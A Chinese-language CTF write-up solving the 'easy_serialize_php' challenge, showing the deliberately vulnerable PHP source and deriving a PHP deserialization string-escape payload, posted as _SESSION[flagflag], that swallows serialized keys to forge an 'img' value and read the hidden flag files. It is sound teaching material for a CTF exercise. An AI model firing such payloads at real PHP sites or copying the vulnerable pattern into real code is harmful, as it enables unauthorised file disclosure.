反序列化专题

最近对反序列化产生了一些兴趣,所以开此篇内容记录所遇到的反序列化的问题。

安洵杯 easy_serialize_php

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

题目分析

大概的流程是从浏览器接受GET方式的function,根据提示在phpinfo里面有东西。

进入phpinfo后搜索得到 d0g3_f1ag.php这个文件,于是猜测需要通过反序列化构造执行至程序最后一行的file_get_contnets().

那么看file_get_contents()是对 经过滤后、序列化后的serialize_info的反序列化取其img属性的结果。

先不管正则过滤,我们的目的是构造一个输入,让img的value为base64加密后的d0g3_f1ag.php。

目标结果如下:

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

但是正常输入的话我们是无法绕过 img_path 的判定的。

所以这里根据过滤入手,根据正则表达式以及preg_repace我们可以知道,将一些关键字替换成了无,即去掉。

这里我们可以使用POST方法,对_SESSION[]数组传参,传入的key为黑名单的值,这样在序列化完之后会吃掉该key的部分value。

听不懂正常,一开始我也听不懂,我就不像其他博主一样给你用不同的颜色标出来哪里是吃掉的部分了。

首先要了解php序列化后的语法(这里不赘述)

我们先随便写写,先POST个_SESSION[flag]=s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

看看结果是什么(把代码拷贝到本地,然后本地运行,echo或者var_dump出来序列化后的结果):

a:2:{s:4:””;s:39:”s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

但是这样是不能正常反序列化的,因为不符合反序列化的语法规则。根据语法规则知道,如果我们想让img作为key,base64加密后的东西作为value的话,需要让上一个对象是正常的,符合序列化后的字符串的语法。

从前往后看,第一个对象的key为**”;s:**,这样会导致后面的字符串无法正常地反序列化。

所以,接下来需要做的是先把第一个对象的key和value补全,让其能正常地反序列化。

补全第一个key的话,需要让第一个key为**”;s:39:”**,所以需要在POST里面传入_SESSION[flagflag],这样能吞掉八个位置。正好能让本段话加粗的内容作为第一个key(这里建议自己写写试试,看看是否符合反序列化语法的规则。)

补全之后请大家自己var_dump或者输出,我这里不会给出补全后输出的序列化结果。

补全后发现,第一个对象可以正常序列化了,但是问题就是第二个对象的key成了第一个对象的value。

所以这里需要给第一个对象补个key,给_SESISON[flagflag]继续传值就可以,具体传什么,为什么要这样传,我也不会说。总之我们的目的是传一个符合序列化格式的value,并且传入后也需要让前后都符合序列化格式。

随便写一个就好 比如 s:3:”aaa”;

首先你把他写进去,然后根据序列化格式在前后添加相关符号。连同刚才写的s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}一起就是_SESSION[flagflag]= s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

现在放进去看看是什么效果。是否能够正常反序列化

a:2:{s:8:””;s:46:”s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

这样发现还是不能正常地反序列化,因为不符合语法。在s:3前缺少上一个字段的闭合”; 加上就好。

所以最终的payload就是

_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

打过去后查看源码,发现

1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

下面继续打对应的文件就好了~

_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

打进去即可获得一枚flag。